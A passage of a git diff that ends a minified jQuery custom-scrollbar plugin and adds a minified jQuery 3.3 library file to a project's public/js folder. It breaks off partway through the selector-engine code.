e&&17>a&&(x="x"===f.dir[0]?s[1]:s[0]),G(t,x.toString(),{dir:f.dir[0],scrollEasing:_,dur:a,onComplete:w}),e?void(f.dir=!1):(clearTimeout(f.step),void(f.step=setTimeout(function(){l()},a)))}function s(){clearTimeout(f.step),$(f,"step"),Q(t)}var c=t.data(a),u=c.opt,f=c.sequential,h=e("#mCSB_"+c.idx+"_container"),m="stepped"===f.type,p=u.scrollInertia<26?26:u.scrollInertia,g=u.scrollInertia<1?17:u.scrollInertia;switch(o){case"on":if(f.dir=[n===d[16]||n===d[15]||39===n||37===n?"x":"y",n===d[13]||n===d[15]||38===n||37===n?-1:1],Q(t),oe(n)&&"stepped"===f.type)return;l(m);break;case"off":s(),(m||c.tweenRunning&&f.dir)&&l(!0)}},Y=function(t){var o=e(this).data(a).opt,n=[];return"function"==typeof t&&(t=t()),t instanceof Array?n=t.length>1?[t[0],t[1]]:"x"===o.axis?[null,t[0]]:[t[0],null]:(n[0]=t.y?t.y:t.x||"x"===o.axis?null:t,n[1]=t.x?t.x:t.y||"y"===o.axis?null:t),"function"==typeof n[0]&&(n[0]=n[0]()),"function"==typeof n[1]&&(n[1]=n[1]()),n},X=function(t,o){if(null!=t&&"undefined"!=typeof t){var n=e(this),i=n.data(a),r=i.opt,l=e("#mCSB_"+i.idx+"_container"),s=l.parent(),c=typeof t;o||(o="x"===r.axis?"x":"y");var d="x"===o?l.outerWidth(!1)-s.width():l.outerHeight(!1)-s.height(),f="x"===o?l[0].offsetLeft:l[0].offsetTop,h="x"===o?"left":"top";switch(c){case"function":return t();case"object":var m=t.jquery?t:e(t);if(!m.length)return;return"x"===o?ae(m)[1]:ae(m)[0];case"string":case"number":if(oe(t))return Math.abs(t);if(-1!==t.indexOf("%"))return Math.abs(d*parseInt(t)/100);if(-1!==t.indexOf("-="))return Math.abs(f-parseInt(t.split("-=")[1]));if(-1!==t.indexOf("+=")){var p=f+parseInt(t.split("+=")[1]);return p>=0?0:Math.abs(p)}if(-1!==t.indexOf("px")&&oe(t.split("px")[0]))return Math.abs(t.split("px")[0]);if("top"===t||"left"===t)return 0;if("bottom"===t)return Math.abs(s.height()-l.outerHeight(!1));if("right"===t)return Math.abs(s.width()-l.outerWidth(!1));if("first"===t||"last"===t){var m=l.find(":"+t);return"x"===o?ae(m)[1]:ae(m)[0]}return e(t).length?"x"===o?ae(e(t))[1]:ae(e(t))[0]:(l.css(h,t),void u.update.call(null,n[0]))}}},N=function(t){function o(){return clearTimeout(f[0].autoUpdate),0===l.parents("html").length?void(l=null):void(f[0].autoUpdate=setTimeout(function(){return c.advanced.updateOnSelectorChange&&(s.poll.change.n=i(),s.poll.change.n!==s.poll.change.o)?(s.poll.change.o=s.poll.change.n,void r(3)):c.advanced.updateOnContentResize&&(s.poll.size.n=l[0].scrollHeight+l[0].scrollWidth+f[0].offsetHeight+l[0].offsetHeight+l[0].offsetWidth,s.poll.size.n!==s.poll.size.o)?(s.poll.size.o=s.poll.size.n,void r(1)):!c.advanced.updateOnImageLoad||"auto"===c.advanced.updateOnImageLoad&&"y"===c.axis||(s.poll.img.n=f.find("img").length,s.poll.img.n===s.poll.img.o)?void((c.advanced.updateOnSelectorChange||c.advanced.updateOnContentResize||c.advanced.updateOnImageLoad)&&o()):(s.poll.img.o=s.poll.img.n,void f.find("img").each(function(){n(this)}))},c.advanced.autoUpdateTimeout))}function n(t){function o(e,t){return function(){ +return t.apply(e,arguments)}}function a(){this.onload=null,e(t).addClass(d[2]),r(2)}if(e(t).hasClass(d[2]))return void r();var n=new Image;n.onload=o(n,a),n.src=t.src}function i(){c.advanced.updateOnSelectorChange===!0&&(c.advanced.updateOnSelectorChange="*");var e=0,t=f.find(c.advanced.updateOnSelectorChange);return c.advanced.updateOnSelectorChange&&t.length>0&&t.each(function(){e+=this.offsetHeight+this.offsetWidth}),e}function r(e){clearTimeout(f[0].autoUpdate),u.update.call(null,l[0],e)}var l=e(this),s=l.data(a),c=s.opt,f=e("#mCSB_"+s.idx+"_container");return t?(clearTimeout(f[0].autoUpdate),void $(f[0],"autoUpdate")):void o()},V=function(e,t,o){return Math.round(e/t)*t-o},Q=function(t){var o=t.data(a),n=e("#mCSB_"+o.idx+"_container,#mCSB_"+o.idx+"_container_wrapper,#mCSB_"+o.idx+"_dragger_vertical,#mCSB_"+o.idx+"_dragger_horizontal");n.each(function(){Z.call(this)})},G=function(t,o,n){function i(e){return s&&c.callbacks[e]&&"function"==typeof c.callbacks[e]}function r(){return[c.callbacks.alwaysTriggerOffsets||w>=S[0]+y,c.callbacks.alwaysTriggerOffsets||-B>=w]}function l(){var e=[h[0].offsetTop,h[0].offsetLeft],o=[x[0].offsetTop,x[0].offsetLeft],a=[h.outerHeight(!1),h.outerWidth(!1)],i=[f.height(),f.width()];t[0].mcs={content:h,top:e[0],left:e[1],draggerTop:o[0],draggerLeft:o[1],topPct:Math.round(100*Math.abs(e[0])/(Math.abs(a[0])-i[0])),leftPct:Math.round(100*Math.abs(e[1])/(Math.abs(a[1])-i[1])),direction:n.dir}}var s=t.data(a),c=s.opt,d={trigger:"internal",dir:"y",scrollEasing:"mcsEaseOut",drag:!1,dur:c.scrollInertia,overwrite:"all",callbacks:!0,onStart:!0,onUpdate:!0,onComplete:!0},n=e.extend(d,n),u=[n.dur,n.drag?0:n.dur],f=e("#mCSB_"+s.idx),h=e("#mCSB_"+s.idx+"_container"),m=h.parent(),p=c.callbacks.onTotalScrollOffset?Y.call(t,c.callbacks.onTotalScrollOffset):[0,0],g=c.callbacks.onTotalScrollBackOffset?Y.call(t,c.callbacks.onTotalScrollBackOffset):[0,0];if(s.trigger=n.trigger,0===m.scrollTop()&&0===m.scrollLeft()||(e(".mCSB_"+s.idx+"_scrollbar").css("visibility","visible"),m.scrollTop(0).scrollLeft(0)),"_resetY"!==o||s.contentReset.y||(i("onOverflowYNone")&&c.callbacks.onOverflowYNone.call(t[0]),s.contentReset.y=1),"_resetX"!==o||s.contentReset.x||(i("onOverflowXNone")&&c.callbacks.onOverflowXNone.call(t[0]),s.contentReset.x=1),"_resetY"!==o&&"_resetX"!==o){if(!s.contentReset.y&&t[0].mcs||!s.overflowed[0]||(i("onOverflowY")&&c.callbacks.onOverflowY.call(t[0]),s.contentReset.x=null),!s.contentReset.x&&t[0].mcs||!s.overflowed[1]||(i("onOverflowX")&&c.callbacks.onOverflowX.call(t[0]),s.contentReset.x=null),c.snapAmount){var v=c.snapAmount instanceof Array?"x"===n.dir?c.snapAmount[1]:c.snapAmount[0]:c.snapAmount;o=V(o,v,c.snapOffset)}switch(n.dir){case"x":var x=e("#mCSB_"+s.idx+"_dragger_horizontal"),_="left",w=h[0].offsetLeft,S=[f.width()-h.outerWidth(!1),x.parent().width()-x.width()],b=[o,0===o?0:o/s.scrollRatio.x],y=p[1],B=g[1],T=y>0?y/s.scrollRatio.x:0,k=B>0?B/s.scrollRatio.x:0;break;case"y":var x=e("#mCSB_"+s.idx+"_dragger_vertical"),_="top",w=h[0].offsetTop,S=[f.height()-h.outerHeight(!1),x.parent().height()-x.height()],b=[o,0===o?0:o/s.scrollRatio.y],y=p[0],B=g[0],T=y>0?y/s.scrollRatio.y:0,k=B>0?B/s.scrollRatio.y:0}b[1]<0||0===b[0]&&0===b[1]?b=[0,0]:b[1]>=S[1]?b=[S[0],S[1]]:b[0]=-b[0],t[0].mcs||(l(),i("onInit")&&c.callbacks.onInit.call(t[0])),clearTimeout(h[0].onCompleteTimeout),J(x[0],_,Math.round(b[1]),u[1],n.scrollEasing),!s.tweenRunning&&(0===w&&b[0]>=0||w===S[0]&&b[0]<=S[0])||J(h[0],_,Math.round(b[0]),u[0],n.scrollEasing,n.overwrite,{onStart:function(){n.callbacks&&n.onStart&&!s.tweenRunning&&(i("onScrollStart")&&(l(),c.callbacks.onScrollStart.call(t[0])),s.tweenRunning=!0,C(x),s.cbOffsets=r())},onUpdate:function(){n.callbacks&&n.onUpdate&&i("whileScrolling")&&(l(),c.callbacks.whileScrolling.call(t[0]))},onComplete:function(){if(n.callbacks&&n.onComplete){"yx"===c.axis&&clearTimeout(h[0].onCompleteTimeout);var e=h[0].idleTimer||0;h[0].onCompleteTimeout=setTimeout(function(){i("onScroll")&&(l(),c.callbacks.onScroll.call(t[0])),i("onTotalScroll")&&b[1]>=S[1]-T&&s.cbOffsets[0]&&(l(),c.callbacks.onTotalScroll.call(t[0])),i("onTotalScrollBack")&&b[1]<=k&&s.cbOffsets[1]&&(l(),c.callbacks.onTotalScrollBack.call(t[0])),s.tweenRunning=!1,h[0].idleTimer=0,C(x,"hide")},e)}}})}},J=function(e,t,o,a,n,i,r){function l(){S.stop||(x||m.call(),x=K()-v,s(),x>=S.time&&(S.time=x>S.time?x+f-(x-S.time):x+f-1,S.time<x+1&&(S.time=x+1)),S.time<a?S.id=h(l):g.call())}function s(){a>0?(S.currVal=u(S.time,_,b,a,n),w[t]=Math.round(S.currVal)+"px"):w[t]=o+"px",p.call()}function c(){f=1e3/60,S.time=x+f,h=window.requestAnimationFrame?window.requestAnimationFrame:function(e){return s(),setTimeout(e,.01)},S.id=h(l)}function d(){null!=S.id&&(window.requestAnimationFrame?window.cancelAnimationFrame(S.id):clearTimeout(S.id),S.id=null)}function u(e,t,o,a,n){switch(n){case"linear":case"mcsLinear":return o*e/a+t;case"mcsLinearOut":return e/=a,e--,o*Math.sqrt(1-e*e)+t;case"easeInOutSmooth":return e/=a/2,1>e?o/2*e*e+t:(e--,-o/2*(e*(e-2)-1)+t);case"easeInOutStrong":return e/=a/2,1>e?o/2*Math.pow(2,10*(e-1))+t:(e--,o/2*(-Math.pow(2,-10*e)+2)+t);case"easeInOut":case"mcsEaseInOut":return e/=a/2,1>e?o/2*e*e*e+t:(e-=2,o/2*(e*e*e+2)+t);case"easeOutSmooth":return e/=a,e--,-o*(e*e*e*e-1)+t;case"easeOutStrong":return o*(-Math.pow(2,-10*e/a)+1)+t;case"easeOut":case"mcsEaseOut":default:var i=(e/=a)*e,r=i*e;return t+o*(.499999999999997*r*i+-2.5*i*i+5.5*r+-6.5*i+4*e)}}e._mTween||(e._mTween={top:{},left:{}});var f,h,r=r||{},m=r.onStart||function(){},p=r.onUpdate||function(){},g=r.onComplete||function(){},v=K(),x=0,_=e.offsetTop,w=e.style,S=e._mTween[t];"left"===t&&(_=e.offsetLeft);var b=o-_;S.stop=0,"none"!==i&&d(),c()},K=function(){return window.performance&&window.performance.now?window.performance.now():window.performance&&window.performance.webkitNow?window.performance.webkitNow():Date.now?Date.now():(new Date).getTime()},Z=function(){var e=this;e._mTween||(e._mTween={top:{},left:{}});for(var t=["top","left"],o=0;o<t.length;o++){var a=t[o];e._mTween[a].id&&(window.requestAnimationFrame?window.cancelAnimationFrame(e._mTween[a].id):clearTimeout(e._mTween[a].id),e._mTween[a].id=null,e._mTween[a].stop=1)}},$=function(e,t){try{delete e[t]}catch(o){e[t]=null}},ee=function(e){return!(e.which&&1!==e.which)},te=function(e){var t=e.originalEvent.pointerType;return!(t&&"touch"!==t&&2!==t)},oe=function(e){return!isNaN(parseFloat(e))&&isFinite(e)},ae=function(e){var t=e.parents(".mCSB_container");return[e.offset().top-t.offset().top,e.offset().left-t.offset().left]},ne=function(){function e(){var e=["webkit","moz","ms","o"];if("hidden"in document)return"hidden";for(var t=0;t<e.length;t++)if(e[t]+"Hidden"in document)return e[t]+"Hidden";return null}var t=e();return t?document[t]:!1};e.fn[o]=function(t){return u[t]?u[t].apply(this,Array.prototype.slice.call(arguments,1)):"object"!=typeof t&&t?void e.error("Method "+t+" does not exist"):u.init.apply(this,arguments)},e[o]=function(t){return u[t]?u[t].apply(this,Array.prototype.slice.call(arguments,1)):"object"!=typeof t&&t?void e.error("Method "+t+" does not exist"):u.init.apply(this,arguments)},e[o].defaults=i,window[o]=!0,e(window).bind("load",function(){e(n)[o](),e.extend(e.expr[":"],{mcsInView:e.expr[":"].mcsInView||function(t){var o,a,n=e(t),i=n.parents(".mCSB_container");if(i.length)return o=i.parent(),a=[i[0].offsetTop,i[0].offsetLeft],a[0]+ae(n)[0]>=0&&a[0]+ae(n)[0]<o.height()-n.outerHeight(!1)&&a[1]+ae(n)[1]>=0&&a[1]+ae(n)[1]<o.width()-n.outerWidth(!1)},mcsInSight:e.expr[":"].mcsInSight||function(t,o,a){var n,i,r,l,s=e(t),c=s.parents(".mCSB_container"),d="exact"===a[3]?[[1,0],[1,0]]:[[.9,.1],[.6,.4]];if(c.length)return n=[s.outerHeight(!1),s.outerWidth(!1)],r=[c[0].offsetTop+ae(s)[0],c[0].offsetLeft+ae(s)[1]],i=[c.parent()[0].offsetHeight,c.parent()[0].offsetWidth],l=[n[0]<i[0]?d[0]:d[1],n[1]<i[1]?d[0]:d[1]],r[0]-i[0]*l[0][0]<0&&r[0]+n[0]-i[0]*l[0][1]>=0&&r[1]-i[1]*l[1][0]<0&&r[1]+n[1]-i[1]*l[1][1]>=0},mcsOverflow:e.expr[":"].mcsOverflow||function(t){var o=e(t).data(a);if(o)return o.overflowed[0]||o.overflowed[1]}})})})}); \ No newline at end of file diff --git a/public/js/jquery.min.js b/public/js/jquery.min.js new file mode 100644 index 0000000..0eaca65 --- /dev/null +++ b/public/js/jquery.min.js @@ -0,0 +1,5 @@ +/*--------------------------------------------------------------------- + jQuery v3.3.1 +-----------------------------------------------------------------------*/ +/*! jQuery v3.3.0 | (c) JS Foundation and other contributors | jquery.org/license */ +!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.0",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.0",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.0"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",I="\\["+M+"*("+R+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+R+"))|)"+M+"*\\]",W=":("+R+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+I+")*)|.*)\\)|)",$=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),F=new RegExp("^"+M+"*,"+M+"*"),_=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),z=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),X=new RegExp(W),U=new RegExp("^"+R+"$"),V={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+I),PSEUDO:new RegExp("^"+W),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+P+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},G=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Q=/^[^{]+\{\s*\[native \w/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,K=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){p()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{L.apply(A=H.call(w.childNodes),w.childNodes),A[w.childNodes.length].nodeType}catch(e){L={apply:A.length?function(e,t){q.apply(e,H.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,s,l,c,f,h,v,m=t&&t.ownerDocument,T=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==T&&9!==T&&11!==T)return r;if(!i&&((t?t.ownerDocument||t:w)!==d&&p(t),t=t||d,g)){if(11!==T&&(f=J.exec(e)))if(o=f[1]){if(9===T){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&x(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return L.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return L.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!S[e+" "]&&(!y||!y.test(e))){if(1!==T)m=t,v=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=b),s=(h=a(e)).length;while(s--)h[s]="#"+c+" "+ve(h[s]);v=h.join(","),m=K.test(e)&&ge(t.parentNode)||t}if(v)try{return L.apply(r,m.querySelectorAll(v)),r}catch(e){}finally{c===b&&t.removeAttribute("id")}}}return u(e.replace(B,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function se(e){return e[b]=!0,e}function ue(e){var t=d.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function pe(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function de(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return se(function(t){return t=+t,se(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},p=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==d&&9===a.nodeType&&a.documentElement?(d=a,h=d.documentElement,g=!o(d),w!==d&&(i=d.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=ue(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=ue(function(e){return e.appendChild(d.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=Q.test(d.getElementsByClassName),n.getById=ue(function(e){return h.appendChild(e).id=b,!d.getElementsByName||!d.getElementsByName(b).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},v=[],y=[],(n.qsa=Q.test(d.querySelectorAll))&&(ue(function(e){h.appendChild(e).innerHTML="<a id='"+b+"'></a><select id='"+b+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+P+")"),e.querySelectorAll("[id~="+b+"-]").length||y.push("~="),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+b+"+*").length||y.push(".#.+[+~]")}),ue(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=d.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(n.matchesSelector=Q.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&ue(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),v.push("!=",W)}),y=y.length&&new RegExp(y.join("|")),v=v.length&&new RegExp(v.join("|")),t=Q.test(h.compareDocumentPosition),x=t||Q.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===d||e.ownerDocument===w&&x(w,e)?-1:t===d||t.ownerDocument===w&&x(w,t)?1:c?O(c,e)-O(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===d?-1:t===d?1:i?-1:o?1:c?O(c,e)-O(c,t):0;if(i===o)return ce(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?ce(a[r],s[r]):a[r]===w?-1:s[r]===w?1:0},d):d},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if((e.ownerDocument||e)!==d&&p(e),t=t.replace(z,"='$1']"),n.matchesSelector&&g&&!S[t+" "]&&(!v||!v.test(t))&&(!y||!y.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return oe(t,d,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!==d&&p(e),x(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!==d&&p(e);var i=r.attrHandle[t.toLowerCase()],o=i&&N.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},oe.escape=function(e){return(e+"").replace(te,ne)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(D),f){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return c=null,e},i=oe.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else while(t=e[r++])n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:se,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||"").replace(Z,ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return V.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var 